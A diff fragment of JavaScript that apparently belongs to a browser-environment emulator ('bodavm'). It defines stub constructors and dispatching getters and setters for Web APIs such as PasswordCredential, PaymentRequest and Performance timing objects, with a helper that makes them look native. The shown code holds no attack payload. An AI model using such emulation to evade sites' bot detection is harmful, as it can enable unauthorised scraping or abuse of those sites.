bodavm.memory.globalobj['PannerNode'].prototype, "PannerNode", "coneInnerAngle_get", arguments); + }, + set: function coneInnerAngle() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PannerNode'].prototype, "PannerNode", "coneInnerAngle_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PannerNode', "coneOuterAngle", { + configurable: true, + enumerable: true, + get: function coneOuterAngle() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PannerNode'].prototype, "PannerNode", "coneOuterAngle_get", arguments); + }, + set: function coneOuterAngle() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PannerNode'].prototype, "PannerNode", "coneOuterAngle_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PannerNode', "coneOuterGain", { + configurable: true, + enumerable: true, + get: function coneOuterGain() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PannerNode'].prototype, "PannerNode", "coneOuterGain_get", arguments); + }, + set: function coneOuterGain() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PannerNode'].prototype, "PannerNode", "coneOuterGain_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PannerNode', "setOrientation", { + configurable: true, + enumerable: true, + writable: true, + value: function setOrientation() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PannerNode'].prototype, "PannerNode", "setOrientation", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PannerNode', "setPosition", { + configurable: true, + enumerable: true, + writable: true, + value: function setPosition() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PannerNode'].prototype, "PannerNode", "setPosition", arguments); + } +}, 'prototype'); +// PasswordCredential对象 + +bodavm.memory.globalobj['PasswordCredential'] = function PasswordCredential() { + console.log_copy('PasswordCredential 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof PasswordCredential)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'PasswordCredential': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PasswordCredential'], "PasswordCredential"); +bodavm.memory.globalobj['PasswordCredential'].prototype.__proto__ = bodavm.memory.globalobj['Credential'].prototype; +bodavm.memory.globalobj['PasswordCredential'].__proto__ = bodavm.memory.globalobj['Credential']; +bodavm.toolsFunc.defineProperty('PasswordCredential', "password", { + configurable: true, + enumerable: true, + get: function password() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PasswordCredential'].prototype, "PasswordCredential", "password_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PasswordCredential', "name", { + configurable: true, + enumerable: true, + get: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PasswordCredential'].prototype, "PasswordCredential", "name_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PasswordCredential', "iconURL", { + configurable: true, + enumerable: true, + get: function iconURL() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PasswordCredential'].prototype, "PasswordCredential", "iconURL_get", arguments); + }, + set: undefined +}, 'prototype'); +// PaymentAddress对象 + +bodavm.memory.globalobj['PaymentAddress'] = function PaymentAddress() { + console.log_copy('PaymentAddress 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof PaymentAddress)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PaymentAddress'], "PaymentAddress"); +bodavm.toolsFunc.defineProperty('PaymentAddress', "city", { + configurable: true, + enumerable: true, + get: function city() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentAddress'].prototype, "PaymentAddress", "city_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PaymentAddress', "country", { + configurable: true, + enumerable: true, + get: function country() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentAddress'].prototype, "PaymentAddress", "country_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PaymentAddress', "dependentLocality", { + configurable: true, + enumerable: true, + get: function dependentLocality() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentAddress'].prototype, "PaymentAddress", "dependentLocality_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PaymentAddress', "organization", { + configurable: true, + enumerable: true, + get: function organization() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentAddress'].prototype, "PaymentAddress", "organization_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PaymentAddress', "phone", { + configurable: true, + enumerable: true, + get: function phone() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentAddress'].prototype, "PaymentAddress", "phone_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PaymentAddress', "postalCode", { + configurable: true, + enumerable: true, + get: function postalCode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentAddress'].prototype, "PaymentAddress", "postalCode_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PaymentAddress', "recipient", { + configurable: true, + enumerable: true, + get: function recipient() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentAddress'].prototype, "PaymentAddress", "recipient_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PaymentAddress', "region", { + configurable: true, + enumerable: true, + get: function region() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentAddress'].prototype, "PaymentAddress", "region_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PaymentAddress', "sortingCode", { + configurable: true, + enumerable: true, + get: function sortingCode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentAddress'].prototype, "PaymentAddress", "sortingCode_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PaymentAddress', "addressLine", { + configurable: true, + enumerable: true, + get: function addressLine() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentAddress'].prototype, "PaymentAddress", "addressLine_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PaymentAddress', "toJSON", { + configurable: true, + enumerable: true, + writable: true, + value: function toJSON() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentAddress'].prototype, "PaymentAddress", "toJSON", arguments); + } +}, 'prototype'); +// PaymentManager对象 + +bodavm.memory.globalobj['PaymentManager'] = function PaymentManager() { + console.log_copy('PaymentManager 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof PaymentManager)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PaymentManager'], "PaymentManager"); +bodavm.toolsFunc.defineProperty('PaymentManager', "userHint", { + configurable: true, + enumerable: true, + get: function userHint() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentManager'].prototype, "PaymentManager", "userHint_get", arguments); + }, + set: function userHint() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentManager'].prototype, "PaymentManager", "userHint_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PaymentManager', "enableDelegations", { + configurable: true, + enumerable: true, + writable: true, + value: function enableDelegations() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentManager'].prototype, "PaymentManager", "enableDelegations", arguments); + } +}, 'prototype'); +// PaymentMethodChangeEvent对象 + +bodavm.memory.globalobj['PaymentMethodChangeEvent'] = function PaymentMethodChangeEvent() { + console.log_copy('PaymentMethodChangeEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof PaymentMethodChangeEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'PaymentMethodChangeEvent': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PaymentMethodChangeEvent'], "PaymentMethodChangeEvent"); +bodavm.memory.globalobj['PaymentMethodChangeEvent'].prototype.__proto__ = bodavm.memory.globalobj['PaymentRequestUpdateEvent'].prototype; +bodavm.memory.globalobj['PaymentMethodChangeEvent'].__proto__ = bodavm.memory.globalobj['PaymentRequestUpdateEvent']; +bodavm.toolsFunc.defineProperty('PaymentMethodChangeEvent', "methodName", { + configurable: true, + enumerable: true, + get: function methodName() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentMethodChangeEvent'].prototype, "PaymentMethodChangeEvent", "methodName_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PaymentMethodChangeEvent', "methodDetails", { + configurable: true, + enumerable: true, + get: function methodDetails() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentMethodChangeEvent'].prototype, "PaymentMethodChangeEvent", "methodDetails_get", arguments); + }, + set: undefined +}, 'prototype'); +// PaymentRequest对象 + +bodavm.memory.globalobj['PaymentRequest'] = function PaymentRequest() { + console.log_copy('PaymentRequest 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof PaymentRequest)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'PaymentRequest': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PaymentRequest'], "PaymentRequest"); +bodavm.memory.globalobj['PaymentRequest'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['PaymentRequest'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('PaymentRequest', "id", { + configurable: true, + enumerable: true, + get: function id() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentRequest'].prototype, "PaymentRequest", "id_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PaymentRequest', "shippingAddress", { + configurable: true, + enumerable: true, + get: function shippingAddress() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentRequest'].prototype, "PaymentRequest", "shippingAddress_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PaymentRequest', "shippingOption", { + configurable: true, + enumerable: true, + get: function shippingOption() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentRequest'].prototype, "PaymentRequest", "shippingOption_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PaymentRequest', "shippingType", { + configurable: true, + enumerable: true, + get: function shippingType() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentRequest'].prototype, "PaymentRequest", "shippingType_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PaymentRequest', "onshippingaddresschange", { + configurable: true, + enumerable: true, + get: function onshippingaddresschange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentRequest'].prototype, "PaymentRequest", "onshippingaddresschange_get", arguments); + }, + set: function onshippingaddresschange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentRequest'].prototype, "PaymentRequest", "onshippingaddresschange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PaymentRequest', "onshippingoptionchange", { + configurable: true, + enumerable: true, + get: function onshippingoptionchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentRequest'].prototype, "PaymentRequest", "onshippingoptionchange_get", arguments); + }, + set: function onshippingoptionchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentRequest'].prototype, "PaymentRequest", "onshippingoptionchange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PaymentRequest', "abort", { + configurable: true, + enumerable: true, + writable: true, + value: function abort() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentRequest'].prototype, "PaymentRequest", "abort", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PaymentRequest', "canMakePayment", { + configurable: true, + enumerable: true, + writable: true, + value: function canMakePayment() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentRequest'].prototype, "PaymentRequest", "canMakePayment", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PaymentRequest', "hasEnrolledInstrument", { + configurable: true, + enumerable: true, + writable: true, + value: function hasEnrolledInstrument() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentRequest'].prototype, "PaymentRequest", "hasEnrolledInstrument", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PaymentRequest', "show", { + configurable: true, + enumerable: true, + writable: true, + value: function show() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentRequest'].prototype, "PaymentRequest", "show", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PaymentRequest', "onpaymentmethodchange", { + configurable: true, + enumerable: true, + get: function onpaymentmethodchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentRequest'].prototype, "PaymentRequest", "onpaymentmethodchange_get", arguments); + }, + set: function onpaymentmethodchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentRequest'].prototype, "PaymentRequest", "onpaymentmethodchange_set", arguments); + } +}, 'prototype'); +// PaymentResponse对象 + +bodavm.memory.globalobj['PaymentResponse'] = function PaymentResponse() { + console.log_copy('PaymentResponse 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof PaymentResponse)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PaymentResponse'], "PaymentResponse"); +bodavm.memory.globalobj['PaymentResponse'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['PaymentResponse'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('PaymentResponse', "requestId", { + configurable: true, + enumerable: true, + get: function requestId() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentResponse'].prototype, "PaymentResponse", "requestId_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PaymentResponse', "methodName", { + configurable: true, + enumerable: true, + get: function methodName() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentResponse'].prototype, "PaymentResponse", "methodName_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PaymentResponse', "details", { + configurable: true, + enumerable: true, + get: function details() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentResponse'].prototype, "PaymentResponse", "details_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PaymentResponse', "shippingAddress", { + configurable: true, + enumerable: true, + get: function shippingAddress() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentResponse'].prototype, "PaymentResponse", "shippingAddress_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PaymentResponse', "shippingOption", { + configurable: true, + enumerable: true, + get: function shippingOption() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentResponse'].prototype, "PaymentResponse", "shippingOption_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PaymentResponse', "payerName", { + configurable: true, + enumerable: true, + get: function payerName() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentResponse'].prototype, "PaymentResponse", "payerName_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PaymentResponse', "payerEmail", { + configurable: true, + enumerable: true, + get: function payerEmail() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentResponse'].prototype, "PaymentResponse", "payerEmail_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PaymentResponse', "payerPhone", { + configurable: true, + enumerable: true, + get: function payerPhone() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentResponse'].prototype, "PaymentResponse", "payerPhone_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PaymentResponse', "onpayerdetailchange", { + configurable: true, + enumerable: true, + get: function onpayerdetailchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentResponse'].prototype, "PaymentResponse", "onpayerdetailchange_get", arguments); + }, + set: function onpayerdetailchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentResponse'].prototype, "PaymentResponse", "onpayerdetailchange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PaymentResponse', "complete", { + configurable: true, + enumerable: true, + writable: true, + value: function complete() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentResponse'].prototype, "PaymentResponse", "complete", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PaymentResponse', "retry", { + configurable: true, + enumerable: true, + writable: true, + value: function retry() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentResponse'].prototype, "PaymentResponse", "retry", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PaymentResponse', "toJSON", { + configurable: true, + enumerable: true, + writable: true, + value: function toJSON() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentResponse'].prototype, "PaymentResponse", "toJSON", arguments); + } +}, 'prototype'); +// PerformanceElementTiming对象 + +bodavm.memory.globalobj['PerformanceElementTiming'] = function PerformanceElementTiming() { + console.log_copy('PerformanceElementTiming 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof PerformanceElementTiming)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PerformanceElementTiming'], "PerformanceElementTiming"); +bodavm.memory.globalobj['PerformanceElementTiming'].prototype.__proto__ = bodavm.memory.globalobj['PerformanceEntry'].prototype; +bodavm.memory.globalobj['PerformanceElementTiming'].__proto__ = bodavm.memory.globalobj['PerformanceEntry']; +bodavm.toolsFunc.defineProperty('PerformanceElementTiming', "renderTime", { + configurable: true, + enumerable: true, + get: function renderTime() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceElementTiming'].prototype, "PerformanceElementTiming", "renderTime_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceElementTiming', "loadTime", { + configurable: true, + enumerable: true, + get: function loadTime() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceElementTiming'].prototype, "PerformanceElementTiming", "loadTime_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceElementTiming', "intersectionRect", { + configurable: true, + enumerable: true, + get: function intersectionRect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceElementTiming'].prototype, "PerformanceElementTiming", "intersectionRect_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceElementTiming', "identifier", { + configurable: true, + enumerable: true, + get: function identifier() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceElementTiming'].prototype, "PerformanceElementTiming", "identifier_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceElementTiming', "naturalWidth", { + configurable: true, + enumerable: true, + get: function naturalWidth() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceElementTiming'].prototype, "PerformanceElementTiming", "naturalWidth_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceElementTiming', "naturalHeight", { + configurable: true, + enumerable: true, + get: function naturalHeight() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceElementTiming'].prototype, "PerformanceElementTiming", "naturalHeight_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceElementTiming', "id", { + configurable: true, + enumerable: true, + get: function id() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceElementTiming'].prototype, "PerformanceElementTiming", "id_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceElementTiming', "element", { + configurable: true, + enumerable: true, + get: function element() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceElementTiming'].prototype, "PerformanceElementTiming", "element_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceElementTiming', "url", { + configurable: true, + enumerable: true, + get: function url() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceElementTiming'].prototype, "PerformanceElementTiming", "url_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceElementTiming', "toJSON", { + configurable: true, + enumerable: true, + writable: true, + value: function toJSON() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceElementTiming'].prototype, "PerformanceElementTiming", "toJSON", arguments); + } +}, 'prototype'); +// PerformanceEventTiming对象 + +bodavm.memory.globalobj['PerformanceEventTiming'] = function PerformanceEventTiming() { + console.log_copy('PerformanceEventTiming 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof PerformanceEventTiming)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PerformanceEventTiming'], "PerformanceEventTiming"); +bodavm.memory.globalobj['PerformanceEventTiming'].prototype.__proto__ = bodavm.memory.globalobj['PerformanceEntry'].prototype; +bodavm.memory.globalobj['PerformanceEventTiming'].__proto__ = bodavm.memory.globalobj['PerformanceEntry']; +bodavm.toolsFunc.defineProperty('PerformanceEventTiming', "processingStart", { + configurable: true, + enumerable: true, + get: function processingStart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceEventTiming'].prototype, "PerformanceEventTiming", "processingStart_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceEventTiming', "processingEnd", { + configurable: true, + enumerable: true, + get: function processingEnd() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceEventTiming'].prototype, "PerformanceEventTiming", "processingEnd_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceEventTiming', "cancelable", { + configurable: true, + enumerable: true, + get: function cancelable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceEventTiming'].prototype, "PerformanceEventTiming", "cancelable_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceEventTiming', "target", { + configurable: true, + enumerable: true, + get: function target() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceEventTiming'].prototype, "PerformanceEventTiming", "target_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceEventTiming', "interactionId", { + configurable: true, + enumerable: true, + get: function interactionId() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceEventTiming'].prototype, "PerformanceEventTiming", "interactionId_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceEventTiming', "toJSON", { + configurable: true, + enumerable: true, + writable: true, + value: function toJSON() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceEventTiming'].prototype, "PerformanceEventTiming", "toJSON", arguments); + } +}, 'prototype'); +// PerformanceLongTaskTiming对象 + +bodavm.memory.globalobj['PerformanceLongTaskTiming'] = function PerformanceLongTaskTiming() { + console.log_copy('PerformanceLongTaskTiming 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof PerformanceLongTaskTiming)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PerformanceLongTaskTiming'], "PerformanceLongTaskTiming"); +bodavm.memory.globalobj['PerformanceLongTaskTiming'].prototype.__proto__ = bodavm.memory.globalobj['PerformanceEntry'].prototype; +bodavm.memory.globalobj['PerformanceLongTaskTiming'].__proto__ = bodavm.memory.globalobj['PerformanceEntry']; +bodavm.toolsFunc.defineProperty('PerformanceLongTaskTiming', "attribution", { + configurable: true, + enumerable: true, + get: function attribution() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceLongTaskTiming'].prototype, "PerformanceLongTaskTiming", "attribution_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceLongTaskTiming', "toJSON", { + configurable: true, + enumerable: true, + writable: true, + value: function toJSON() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceLongTaskTiming'].prototype, "PerformanceLongTaskTiming", "toJSON", arguments); + } +}, 'prototype'); +// PerformanceMark对象 + +bodavm.memory.globalobj['PerformanceMark'] = function PerformanceMark() { + console.log_copy('PerformanceMark 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof PerformanceMark)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'PerformanceMark': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PerformanceMark'], "PerformanceMark"); +bodavm.memory.globalobj['PerformanceMark'].prototype.__proto__ = bodavm.memory.globalobj['PerformanceEntry'].prototype; +bodavm.memory.globalobj['PerformanceMark'].__proto__ = bodavm.memory.globalobj['PerformanceEntry']; +bodavm.toolsFunc.defineProperty('PerformanceMark', "detail", { + configurable: true, + enumerable: true, + get: function detail() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceMark'].prototype, "PerformanceMark", "detail_get", arguments); + }, + set: undefined +}, 'prototype'); +// PerformanceMeasure对象 + +bodavm.memory.globalobj['PerformanceMeasure'] = function PerformanceMeasure() { + console.log_copy('PerformanceMeasure 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof PerformanceMeasure)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PerformanceMeasure'], "PerformanceMeasure"); +bodavm.memory.globalobj['PerformanceMeasure'].prototype.__proto__ = bodavm.memory.globalobj['PerformanceEntry'].prototype; +bodavm.memory.globalobj['PerformanceMeasure'].__proto__ = bodavm.memory.globalobj['PerformanceEntry']; +bodavm.toolsFunc.defineProperty('PerformanceMeasure', "detail", { + configurable: true, + enumerable: true, + get: function detail() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceMeasure'].prototype, "PerformanceMeasure", "detail_get", arguments); + }, + set: undefined +}, 'prototype'); +// PerformanceNavigation对象 + +bodavm.memory.globalobj['PerformanceNavigation'] = function PerformanceNavigation() { + console.log_copy('PerformanceNavigation 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof PerformanceNavigation)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PerformanceNavigation'], "PerformanceNavigation"); +bodavm.toolsFunc.defineProperty('PerformanceNavigation', "TYPE_NAVIGATE", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('PerformanceNavigation', "TYPE_RELOAD", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('PerformanceNavigation', "TYPE_BACK_FORWARD", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('PerformanceNavigation', "TYPE_RESERVED", { + configurable: false, + enumerable: true, + writable: false, + value: 255 +}); 